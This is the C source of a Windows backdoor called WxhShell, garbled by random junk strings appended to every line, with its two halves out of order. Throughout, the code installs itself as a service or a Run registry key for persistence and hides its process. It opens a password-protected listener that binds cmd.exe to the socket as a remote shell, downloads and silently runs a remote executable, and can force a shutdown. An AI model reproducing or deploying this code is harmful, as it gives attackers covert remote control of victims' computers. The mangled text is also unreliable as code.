    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zr9o  
    else { ,s'78Dc$  
    closesocket(wsh); KWU ~QAc  
    ExitThread(0); &Z682b$  
    } <uP>  
    break; 8y}9X v  
    } DXlP (={*  
  // 获取shell E3gR%t  
  case 's': { e";r_J3w  
    CmdShell(wsh); U;n$  
    closesocket(wsh); 7%Zl^c>q  
    ExitThread(0); 4!Ez#\  
    break; wiWpzJz  
  } s8| =1{  
  // 退出 so|5HR|  
  case 'x': { F_ ~L&jHP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =z'w-ARy  
    CloseIt(wsh); DSY:aD!  
    break; U^4 /rbQ  
    } nu,#y"WQ  
  // 离开 qO=_i d  
  case 'q': { #5GIO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (: IUg   
    closesocket(wsh); VOBzB]  
    WSACleanup(); dzZ74FE!t  
    exit(1); D'aq^T'  
    break; !dB {E  
        } :8}QKp  
  } *D ld?Q  
  } f[3DKA  
;aBK4<-vl  
  // 提示信息 kLVf}J~?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E 3b`GRay  
} Y) Y`9u<?  
  } !oeu  
 "Mgx5d  
  return; :mLcb. E  
} C=ni5R  
ua1ov7w$]  
// shell模块句柄 BP2-LG&\  
int CmdShell(SOCKET sock) Ktg{-Xl  
{ 9I8{2]  
STARTUPINFO si; >N>WOLbb7(  
ZeroMemory(&si,sizeof(si)); 9l2,:EQ*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &^e%gU8!\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I*R[8|  
PROCESS_INFORMATION ProcessInfo; _aVrQ@9  
char cmdline[]="cmd"; OaU-4 ~n;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m xtLcG4G  
  return 0; 6k;__@B,  
} *vFVXJo  
FblwQ-D  
// 自身启动模式 /_E8'qlx  
int StartFromService(void) LZm6\x  
{ @s J[<V  
typedef struct Pw/Z;N;:V  
{ g\&[;v i  
  DWORD ExitStatus; m "\jEfjO  
  DWORD PebBaseAddress; > 4ex:Z  
  DWORD AffinityMask; !YL|R[nDH|  
  DWORD BasePriority; ([zt}uf  
  ULONG UniqueProcessId; DGr{x}Kq  
  ULONG InheritedFromUniqueProcessId; \B"5 Kp<  
}   PROCESS_BASIC_INFORMATION; Z<ozANbk  
oK&LYlU  
PROCNTQSIP NtQueryInformationProcess; j <>|Hi #`  
^,')1r,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 24"Trg\WK[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tLe!_p)  
Q=J"#EFs  
  HANDLE             hProcess; f7 V36Q8  
  PROCESS_BASIC_INFORMATION pbi; ZzLmsTtzIu  
$8o(_8Q)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \|nF55W [  
  if(NULL == hInst ) return 0; 1"3|6&=  
a'f"Zdh%w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); . $uvQpyh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o^;$-O!/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6H67$?jMyJ  
<jF]SN  
  if (!NtQueryInformationProcess) return 0; cc7*O  
^D\1F$AjC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xc[@lr  
  if(!hProcess) return 0; YLVV9(  
9tsI1]1[m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fv_}7t7  
zQ9"i  
  CloseHandle(hProcess); $j:$ `  
$u_0"sUV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Uz{dFJf;  
if(hProcess==NULL) return 0; 3}=r.\]U  
:S}!i?n  
HMODULE hMod; 0F-X.Dq  
char procName[255]; 1C\OL!@L  
unsigned long cbNeeded; D_ xPa  
!TY9\8JzV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \UM9cAX`  
^]w!ow41  
  CloseHandle(hProcess); y:(OZ%g  
;vvO#3DWM  
if(strstr(procName,"services")) return 1; // 以服务启动 24PEt%2  
,80qwN,  
  return 0; // 注册表启动 x@I*(I  
} sHD8#t^{  
u Jy1vI  
// 主模块 /%9D$\  
int StartWxhshell(LPSTR lpCmdLine) K: g_M  
{ Nq1la8oQ3  
  SOCKET wsl; }# 'wy  
BOOL val=TRUE; Kk1591'  
  int port=0; HQ~`ha.  
  struct sockaddr_in door; %JM:4G|q  
$ysemDq-a\  
  if(wscfg.ws_autoins) Install(); `Bk7W]{L  
R06L4,/b  
port=atoi(lpCmdLine); )I'?]p<  
C( 8i0(1  
if(port<=0) port=wscfg.ws_port; zY~  
jY%&G#4  
  WSADATA data; |niYN7 17  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B*7Y5_N  
xgHR;US H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "MHm9D?5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y $hYW  
  door.sin_family = AF_INET; hc OT+L>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L;zwqdI  
  door.sin_port = htons(port); k8H@0p  
{Vw+~8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CsHHJgx  
closesocket(wsl); K}"xZy Tm1  
return 1; x8k7y:  
} HE58A.Q&  
D ]Q,~Y&'  
  if(listen(wsl,2) == INVALID_SOCKET) { xY9 #ouF  
closesocket(wsl); zWKnkIit,  
return 1; 1BT]_ cP  
} *I6z;.#  
  Wxhshell(wsl); |57u;  
  WSACleanup(); OE' ?3S  
}U3+xl6g  
return 0; {T4F0fu[eR  
O 4zD >O  
} ITJ{]7N  
BrF/-F  
// 以NT服务方式启动 nMXk1`|/)x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A>WMPe:sSS  
{ it]im  
DWORD   status = 0; YoyJnl.?u  
  DWORD   specificError = 0xfffffff; m;-FP 2~  
h}-}!v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `G*7y7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zQ3m@x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +GCN63 nX  
  serviceStatus.dwWin32ExitCode     = 0; {hQ0=rv<  
  serviceStatus.dwServiceSpecificExitCode = 0; XN9s!5A<L)  
  serviceStatus.dwCheckPoint       = 0; ]D?//  
  serviceStatus.dwWaitHint       = 0; su;u_rc,  
R<. <wQ4I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~hK7(K  
  if (hServiceStatusHandle==0) return; F. 5'5%  
zh`!x{Z?^  
status = GetLastError();  8:=&=9%  
  if (status!=NO_ERROR) pF kA,  
{ +UbSqp1BS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e ewhT ^  
    serviceStatus.dwCheckPoint       = 0; sd4eJ  
    serviceStatus.dwWaitHint       = 0; X`#,*HkK  
    serviceStatus.dwWin32ExitCode     = status; Gl8D GELl;  
    serviceStatus.dwServiceSpecificExitCode = specificError; nOq?Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;1qE:x}'H  
    return; 8B#;ffkmN  
  } tLCu7%P>  
O~ a`T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j>j Zg<}J  
  serviceStatus.dwCheckPoint       = 0; J{>9ctN  
  serviceStatus.dwWaitHint       = 0; O/g|E47  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p3tu_If  
} hOYm =r  
9R_2>BDn  
// 处理NT服务事件,比如:启动、停止 9/A$ 3#wF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5=/&[=  
{ j("$qp v  
switch(fdwControl) \H(r }D$u<  
{ _vOV(#q2a  
case SERVICE_CONTROL_STOP: ,n\"zYf ]^  
  serviceStatus.dwWin32ExitCode = 0; +m?;,JGt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Aq [@i  
  serviceStatus.dwCheckPoint   = 0; 5)h#NkA\J  
  serviceStatus.dwWaitHint     = 0; &L7u//  
  { =5:L#` .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z4t.- 9(C  
  } 7AwV4r*:  
  return; [5[}2 B_t  
case SERVICE_CONTROL_PAUSE: F`!B!uY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J|*Z*m  
  break; -s~6FrKy  
case SERVICE_CONTROL_CONTINUE: y?=W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ti*I;)h4  
  break; yx5F]Z<M2  
case SERVICE_CONTROL_INTERROGATE: b-*3]gB  
  break; 6P,vGmR  
}; ]U[y3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pjz_KO/  
} a=ye!CN^  
wyzx9`5~d  
// 标准应用程序主函数 R7)\w P*l5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5zk<s`h  
{ E :gS*tsY  
w+A:]SU  
// 获取操作系统版本 Skb,cKU  
OsIsNt=GetOsVer(); )m8ve)l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [3$L}m  
HCBZ*Z-  
  // 从命令行安装 FHztF$Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); "i jpqI  
EY~b,MIL4  
  // 下载执行文件 4%!#=JCl  
if(wscfg.ws_downexe) { (<M^C>pldf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?yAp&Ad  
  WinExec(wscfg.ws_filenam,SW_HIDE); +65OR'd  
} )1CYs4lp  
)"( ojh  
if(!OsIsNt) { 8aDSRfv*  
// 如果时win9x,隐藏进程并且设置为注册表启动 [tN^)c`s/  
HideProc(); 0*e)_l!  
StartWxhshell(lpCmdLine); oJ\)-qSf  
} (CUrFZT$  
else 1Yr&E_5/  
  if(StartFromService()) N5W;Zx]  
  // 以服务方式启动 b5!\"v4c  
  StartServiceCtrlDispatcher(DispatchTable); NO$n-<ag  
else |E{tS,{OhJ  
  // 普通方式启动 ]JGh[B1gh  
  StartWxhshell(lpCmdLine); FEOr'H<3x  
X?6E0/r&9  
return 0; [^N8v;O  
} 4Cd#S9<ed  
+f5|qbX/\  
\R!.VL3Tx$  
O $dcy!  
=========================================== 0QzUcr)3+  
 ywQ>T+  
iJ8 5okv'  
8PN/*Sa  
0P MF)';R  
"zN2+X"&  
" :ik$@5wp  
Z)V m,ng  
#include <stdio.h> 3o).8b_3g  
#include <string.h> Vgh;w-a  
#include <windows.h> Z)JJ-V!  
#include <winsock2.h> |AosZeO_  
#include <winsvc.h> ~Onj| w7  
#include <urlmon.h> 72i ]`   
-|1H-[Y(  
#pragma comment (lib, "Ws2_32.lib") w@K4u{|  
#pragma comment (lib, "urlmon.lib") W|~Jl7hs8Q  
#=}dv8  
#define MAX_USER   100 // 最大客户端连接数 =O~ J  
#define BUF_SOCK   200 // sock buffer sObH#/l`  
#define KEY_BUFF   255 // 输入 buffer 7z.(pg=  
O~p@87aq  
#define REBOOT     0   // 重启 }"$2F0  
#define SHUTDOWN   1   // 关机 A~2U9f+\  
t>f61<27eB  
#define DEF_PORT   5000 // 监听端口 O?p8Gjf  
[ H~Yg2O  
#define REG_LEN     16   // 注册表键长度 g Kp5*  
#define SVC_LEN     80   // NT服务名长度 S%NS7$`a  
jruXl>T!U  
// 从dll定义API 6[b?ckvi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y 6NoNc]h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UU7E+4O&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D]n"`< Ho  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =)h<" 2  
O }ES/<an  
// wxhshell配置信息 \hlQu{q.  
struct WSCFG { 7g* "AEk  
  int ws_port;         // 监听端口 ;8| D4+  
  char ws_passstr[REG_LEN]; // 口令 sl5y1W/]]  
  int ws_autoins;       // 安装标记, 1=yes 0=no )+Nm @+B  
  char ws_regname[REG_LEN]; // 注册表键名 ?MW *`U  
  char ws_svcname[REG_LEN]; // 服务名 9+z5 $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RFsd/K;Zp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [RAzKzC\M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fi7G S;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'zRi ;:UHA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %i!=.7o.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?&ow:OH+  
G,{=sFX  
}; OpNTyKbaD  
S":55YQev!  
// default Wxhshell configuration #!A'6SgbkM  
struct WSCFG wscfg={DEF_PORT, f *Xum[  
    "xuhuanlingzhe", r Jo8|  
    1, V`ODX>\  
    "Wxhshell", cWNZ +Q8Y  
    "Wxhshell", ]JQ+*ZYUE  
            "WxhShell Service", ;)6LX-  
    "Wrsky Windows CmdShell Service", bqo+ b{i\  
    "Please Input Your Password: ", O#}d!}SIp  
  1, [N35.O6P6u  
  "http://www.wrsky.com/wxhshell.exe", 5s5GBJ?  
  "Wxhshell.exe" 5l(8{,NDt  
    }; X0QY:?  
!!{!T;)l  
// 消息定义模块 f1Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LTn@OhC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nV[0O8p2Md  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +t9$*i9`L  
char *msg_ws_ext="\n\rExit."; B% ]yLJ  
char *msg_ws_end="\n\rQuit."; A:-MRhE9X  
char *msg_ws_boot="\n\rReboot..."; nnzfKn:J  
char *msg_ws_poff="\n\rShutdown..."; i)@IV]]6yL  
char *msg_ws_down="\n\rSave to "; yLC5S3^1\"  
&J]|pf3m  
char *msg_ws_err="\n\rErr!"; 4 6yq F  
char *msg_ws_ok="\n\rOK!"; [Iwb7a0p  
k;7R3O@  
char ExeFile[MAX_PATH]; _v[yY3=3  
int nUser = 0; ~o <+tL  
HANDLE handles[MAX_USER]; B}:/2?gQ  
int OsIsNt; $!'S7;*uW  
`4xnM`:L"  
SERVICE_STATUS       serviceStatus; Wzn!BgxRr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JU6PBY~C'  
{vp|f~}zTw  
// 函数声明 A`#/:O4|f  
int Install(void); 7Gos-_s  
int Uninstall(void); !nm[ZrS P  
int DownloadFile(char *sURL, SOCKET wsh); 5W Z9z-6  
int Boot(int flag); nDFF,ge;a#  
void HideProc(void); ms(Z1ix^  
int GetOsVer(void); o4[  
int Wxhshell(SOCKET wsl); +zl2| '  
void TalkWithClient(void *cs); h/LlH9S:!  
int CmdShell(SOCKET sock); ^(Y}j8sj  
int StartFromService(void); \68x]q[  
int StartWxhshell(LPSTR lpCmdLine); A^%li^qz  
4lb(qKea  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %8L>|QOX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Nbc#0pb7  
>~%EB?8  
// 数据结构和表定义  Y ,  
SERVICE_TABLE_ENTRY DispatchTable[] = 1#Ls4+]5  
{ Pse1NMK9 [  
{wscfg.ws_svcname, NTServiceMain}, 'j#J1 xwJ  
{NULL, NULL} 8E/wUN,Lxj  
}; UI?AM 34  
@) \{u$  
// 自我安装 1xBg^  
int Install(void) Q.b<YRZ  
{ x;w^&<hQ\  
  char svExeFile[MAX_PATH]; G*`H2-,  
  HKEY key; ,Ky-3p>  
  strcpy(svExeFile,ExeFile); bV3az/U  
I7S#vIMXR.  
// 如果是win9x系统,修改注册表设为自启动 .5tE, (<?  
if(!OsIsNt) { Uo~-^w}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q n6ws  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 6} a  
  RegCloseKey(key); `R\nw)xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Miw*L;u@W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xn &$qLB  
  RegCloseKey(key); @)IHd6 R  
  return 0; qH8d3?1XO  
    } TwaK>t96[  
  } ZaZm$.s n  
} `Z' h[-2`  
else { }|Ao@UvH  
4t]YHLBS  
// 如果是NT以上系统,安装为系统服务 <mk'n6B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `\pv^#5HV9  
if (schSCManager!=0) 9>OPaL n  
{ W ZAkp|R  
  SC_HANDLE schService = CreateService 'g@Yra&09  
  ( @[=K`n:n_  
  schSCManager, (v@)nv]U  
  wscfg.ws_svcname, zK_+UT  
  wscfg.ws_svcdisp, 82>90e(CH]  
  SERVICE_ALL_ACCESS, iPuX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]zt77'J  
  SERVICE_AUTO_START, ULJV  
  SERVICE_ERROR_NORMAL, y$Y*%D^w  
  svExeFile, ov9+6'zya  
  NULL, VJf|r#2  
  NULL, Uc[ @]  
  NULL, ?x\tE]  
  NULL, $oo`]R_   
  NULL $*k9e^{S  
  ); I\8F.J1_  
  if (schService!=0) Jfe<$-$$7  
  { Ed>Dhy6\r  
  CloseServiceHandle(schService); Nr(t5TP^  
  CloseServiceHandle(schSCManager); YWK|AT-4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2X)n.%4g$;  
  strcat(svExeFile,wscfg.ws_svcname); 2BGS$$pP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rZi\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~CRd0T[^  
  RegCloseKey(key); PL}c1Ud  
  return 0; W74Y.zQ  
    } M];?W  
  } N}/|B}  
  CloseServiceHandle(schSCManager); #J): N  
} +%'!+r l  
} en?J#fz  
L T2UY*  
return 1; FD*) @4<o  
} [ e6zCN^t  
;WqWD-C  
// 自我卸载 vUNmN2pRJ  
int Uninstall(void) Nj^:8]D)0  
{ m8:9Uv  
  HKEY key; *pP&$!bH%  
3%0ShMFP@  
if(!OsIsNt) { {~y,.[Ga  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %RS~>pK1  
  RegDeleteValue(key,wscfg.ws_regname); <|kS`y  
  RegCloseKey(key); 7%0V?+]P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F3Y/Miw  
  RegDeleteValue(key,wscfg.ws_regname); >2)`/B9f4  
  RegCloseKey(key); -V_iv/fmM  
  return 0; s-[v[w'E  
  } <=g{E-  
} |3:e$  
} NU <K+k  
else { .IkQo`_s:  
i*\\j1mf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d7 W[.M$]  
if (schSCManager!=0) !!we4tWq  
{ -H+<81"B#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dW4FMm>|  
  if (schService!=0) p "Cxe  
  { R?E< }\!  
  if(DeleteService(schService)!=0) { Xk]:]pl4W  
  CloseServiceHandle(schService); /]@1IC{Lk  
  CloseServiceHandle(schSCManager); =mQdM]A)2  
  return 0; )%6h9xyXt  
  } ~#SLb=K   
  CloseServiceHandle(schService); _ mJP=+i  
  } O`rKxP  
  CloseServiceHandle(schSCManager); _Xe" +  
} mFa%d8Y  
} \kS:u}Ip!  
oz[Mt i*  
return 1; H-g CY|W  
} |3SM  
"+{>"_KV  
// 从指定url下载文件 9ZVzIv(   
int DownloadFile(char *sURL, SOCKET wsh) >bUxb-8  
{ l =X6m(  
  HRESULT hr; z,+LPr  
char seps[]= "/"; {n'+P3\T:  
char *token; .gP}/dj  
char *file; ;+3XDz v  
char myURL[MAX_PATH]; 7+2DsZ^6MW  
char myFILE[MAX_PATH]; KM:k<pvi  
8TH fFL  
strcpy(myURL,sURL); XN Gw@$  
  token=strtok(myURL,seps); j-%@A`j;  
  while(token!=NULL) RO!em~{D*  
  { S@^o=B]]  
    file=token; Wq"5-U;:w  
  token=strtok(NULL,seps); Y A:!ULzR*  
  } \nbGdka  
>gSiH#>  
GetCurrentDirectory(MAX_PATH,myFILE); 6Qw5_V^0o  
strcat(myFILE, "\\"); vLT$oiN[c  
strcat(myFILE, file); kwAL] kI  
  send(wsh,myFILE,strlen(myFILE),0); QMQ\y8E  
send(wsh,"...",3,0); r Y#^C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0n)99Osq(u  
  if(hr==S_OK) 6>)oG6  
return 0; uozK'L  
else ?"Ec#,~  
return 1; 5fjL  
;QS(`SK l  
} CxbGL  
G}V5PEF]`  
// 系统电源模块 ~bnyk%S o  
int Boot(int flag) VoG:3qN  
{ WXmR{za   
  HANDLE hToken; d$}!x[g$Z  
  TOKEN_PRIVILEGES tkp; @ i*It Hk  
pW,)yo4  
  if(OsIsNt) { 7 /7,55  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7]F@ g}8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [yn\O=%5  
    tkp.PrivilegeCount = 1; \NF5)]:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b sM ]5^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  &peUC n  
if(flag==REBOOT) { !3;KC"o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jM5w<T-2/  
  return 0; < pWk   
} +zL|j/q?  
else { duq(K9S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |)[I$]L  
  return 0; S(ky:  
} kb~;s-$O`s  
  } >[r,X$]  
  else { n1    
if(flag==REBOOT) { (CR]96n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kD\7wz,ui  
  return 0; yLgv<%8f  
} oU)Hco"_k  
else { 5i1E 5@~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hpj7EaMZ_  
  return 0; A?+cdbxJw  
} w^Atd|~gi  
} ESyb34T`  
bB+ 4  
return 1; TJ_pMU  
} qx f8f  
VXP@)\!  
// win9x进程隐藏模块 r>_40+|&  
void HideProc(void) "STd ;vR  
{ cUj^aTpm  
svRYdInBNu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C-tkYP  
  if ( hKernel != NULL ) YwU[kr-i  
  { *o}7&Hw#9f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r~YxtBZH+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xtFGj,N  
    FreeLibrary(hKernel); a\ZNNk  
  } c1sVdM}|  
G/N1[)  
return; E2i'lO\P  
} :>K8oE  
t->I# t7  
// 获取操作系统版本 :ZsAWe{%,J  
int GetOsVer(void) sL4j@Lt  
{ xRbtiFk9H  
  OSVERSIONINFO winfo; *&doI%q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rr^?9M*{V  
  GetVersionEx(&winfo); dGG8k&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bZlKy`Z  
  return 1; K:q|M?_  
  else Y|nC_7&Bv  
  return 0; r?2J   
} ` #; "  
&j?+%Y1n@  
// 客户端句柄模块 ngOGo =  
int Wxhshell(SOCKET wsl) l}_6 _g>6  
{ oxNQNJ!X  
  SOCKET wsh; ,lDOo+eE%:  
  struct sockaddr_in client; &2sfu0K  
  DWORD myID; L/xTW  
NiBly  
  while(nUser<MAX_USER) 0q o]nw  
{ 3W3)%[ 5  
  int nSize=sizeof(client); f-`C1|\w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] XjL""EbC  
  if(wsh==INVALID_SOCKET) return 1; +lw8YH  
2?nEHIUT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cnz+%Y N  
if(handles[nUser]==0) '1"vwXJ"  
  closesocket(wsh); v(P5)R,  
else g+]o=@  
  nUser++; iI Dun Ih  
  } ,FL*Z9wA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3YD.Fjz$  
xQDWnpFc  
  return 0; |ngv{g  
} i\dd  
']U<R=5T$  
// 关闭 socket KnC:hus  
void CloseIt(SOCKET wsh) SNc$!  
{ |+Cd2[hN  
closesocket(wsh); )1gOO{T]h?  
nUser--; 0y`r.)G  
ExitThread(0); 9@>Q7AUCQ  
} nLY(%):(P  
zALtG<_t  
// 客户端请求句柄 x7!gmbMfK'  
void TalkWithClient(void *cs) Ejj+%)n.  
{ IG90mpLX  
9`td_qh  
  SOCKET wsh=(SOCKET)cs; )Wy:I_F351  
  char pwd[SVC_LEN]; ttA'RJ  
  char cmd[KEY_BUFF]; &AnWMFo  
char chr[1]; p^)w$UL}}  
int i,j; LRqlK\  
j8W<iy  
  while (nUser < MAX_USER) { 0M!GoqaA  
m,)o&ix1  
if(wscfg.ws_passstr) { NH<~B C]I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W>(w&k]%B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k [iT']  
  //ZeroMemory(pwd,KEY_BUFF); dy]ZS<Hz8G  
      i=0; <72q^w  
  while(i<SVC_LEN) { (,D:6(R7t  
Xi0fX$-,  
  // 设置超时 g(dReC  
  fd_set FdRead; ej,R:}C%`  
  struct timeval TimeOut; Y)2#\ F   
  FD_ZERO(&FdRead); (qzBy \\p  
  FD_SET(wsh,&FdRead); '7 t:.88  
  TimeOut.tv_sec=8; 2  ZyO  
  TimeOut.tv_usec=0; oQ}K_}{>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9qvl9,*g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8cGoo u6  
Ey)ey-'\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D2I|Z  
  pwd=chr[0]; 0UhJ I  
  if(chr[0]==0xd || chr[0]==0xa) { %D3Asw/5a  
  pwd=0; Nx"|10gC  
  break; M9Xq0BBu  
  } + />f?+  
  i++; 06e dVIRr  
    } [1e]_9)p  
x/ix%!8J  
  // 如果是非法用户,关闭 socket .Nk5W%7]=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Gy [^  
} B Q2N_*v  
N@X(YlO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hdwF;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nu euCiP  
TE6]4E*  
while(1) { -""(>$b 2  
Py#TXzEcC  
  ZeroMemory(cmd,KEY_BUFF); 9Dp0Pi?29  
?JBA`,-  
      // 自动支持客户端 telnet标准   M(vX.kF  
  j=0; W;?e@}  
  while(j<KEY_BUFF) { OZEbs 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); intl?&wC  
  cmd[j]=chr[0]; xlH3t&i7  
  if(chr[0]==0xa || chr[0]==0xd) { :!JQ<kV  
  cmd[j]=0; mbns%%GJU  
  break; Tj+U:#!!~  
  } S]NT+XM  
  j++; =#vJqA  
    } _9'hmej  
qWJHb Dd  
  // 下载文件 t N4-<6  
  if(strstr(cmd,"http://")) { |g'ceG-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3H|drj:KV  
  if(DownloadFile(cmd,wsh)) ,(&Fb~r]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M 5$JBnN  
  else I&`aGnr^^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT\ yjrCd  
  } Bo\~PV[  
  else { n6G&c4g<"  
2.vmZaKP  
    switch(cmd[0]) { Qq'e#nI@  
